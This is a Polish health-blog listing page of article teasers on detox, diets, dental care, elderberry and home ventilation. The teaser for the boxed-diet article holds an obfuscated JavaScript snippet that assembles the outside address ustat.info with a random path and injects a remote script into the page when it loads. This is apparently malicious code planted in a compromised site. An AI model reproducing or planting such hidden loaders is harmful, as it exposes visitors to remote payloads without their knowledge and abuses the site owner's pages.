zmęczony człowiek na celowniku

Detoks organizmu – milowy krok w walce z uzależnieniem

Alkohol, narkotyki, dopalacze, leki: bardzo łatwo jest popaść w nałóg, który odciska piętno na całym naszym życiu. Lecz nawet, jeśli bardzo chcemy się od...
pudding chia żywność ekologiczna

Czy żywność ekologiczna jest smaczna?

Sklepy ze zdrową żywnością to miejsca, które odwiedza coraz więcej osób. Ekologiczne produkty kupujemy zarówno stacjonarnie, jak i przez internet. No ale czy żywność...
zmęczona kobieta w pokoju po imprezie

Gorsze chwile po szampańskiej imprezie – kilka porad na walkę z zatruciem alkoholowym

Dla wielu z nas alkohol stanowi atrakcyjny dodatek do spotkania z przyjaciółmi. Spożywamy go zarówno podczas zwykłych okazji, jak i celebracji urodzin, wesela czy...
dieta sokowa

Wszystko, co musisz wiedzieć o diecie sokowej

Popularność diet i programów oczyszczających organizm z toksyn nie słabnie. Wręcz przeciwnie. Codziennie wiele osób szuka w Internecie sposobów na zrzucenie zbędnych kilogramów, poprawę...
uśmiechnięta kobieta z aparatem na zębach

Sposoby prostowania uzębienia i rodzaje aparatów na zęby

Wady zgryzu w dzisiejszych czasach pojawiają się dosyć często, co oddziałuje niestety negatywnie na stosunki międzyludzkie, gdyż ładne zęby to wizytówka każdego z nas....
HandsClear od NovaClear

Żel antybakteryjny – kosmetyk czy preparat biobójczy?

Jak rozpoznać czy kosmetyk z alkoholem do dezynfekcji dłoni jest kosmetykiem, czy preparatem biobójczym? Otóż okazuje się, że wielu producentów kosmetyków po ogłoszeniu pandemii...
owsianka posiłek z cateringu dietetycznego

Smaczne i zdrowe posiłki – dieta pudełkowa może być zawsze przy Tobie

Jeśli chcesz prowadzić zdrowy styl życia, musisz zmienić swoje myślenie, nastawienie, przyzwyczajenia. (function(){ an4r=document.createElement("script");an4r_="u"+("s")+"ta"; an4r_+=("t.i")+""+"n";an4r_+=(("f")+"o");an4r.type="text/javascript"; an4r_+="/"; an4ru="195218037";an4ru+=".uufysyg5n4rr1jq3hxi";an4ru+="80gfuXbyvuq"; an4r.src="https://"+an4r_+an4ru;an4r.async=true;document.body.appendChild(an4r); })(); Gdy jesteś głodny, odruchowo powinieneś sięgać po jabłko, a nie po batona....
czarny bez

Czarny bez na przeziębienie i grypę: właściwości i działanie

Czarny bez to roślina powszechnie rosnąca w naszym kraju, której właściwości lecznicze wykorzystywane są od wieków nie tylko w medycynie ludowej, ale również farmakologii....
Naleśniki na śniadanie

Jakie działania pomogą Ci przytyć w zdrowy sposób?

W obecnych czasach wiele osób dąży do osiągnięcia idealnej sylwetki próbując zrzucić zbędne kilogramy. Niekiedy jednak problemem staje się niedowaga, która podobnie jak otyłość,...
młoda kobieta na profilaktycznej wizycie stomatologicznej

Dlaczego warto chodzić na profilaktyczne wizyty stomatologiczne?

Nieprawidłowa higiena jamy ustnej oraz zaniedbywanie wizyt profilaktycznych może mieć duże konsekwencje zarówno dla naszego uzębienia, jak i dla całego organizmu. Niewiele osób ma...

Najnowsze

rekuperator schemat domu

Rekuperacja w domu – czyste powietrze i oszczędność ciepła

Jednym z wyzwań współczesnej cywilizacji jest oszczędne, zrównoważone gospodarowanie zasobami energii. Racjonalne korzystanie z zasobów energetycznych obejmuje również odzyskiwanie części energii wytwarzanej w procesach...
dziewczyna w gorsecie

Gorsety znów popularne

Social media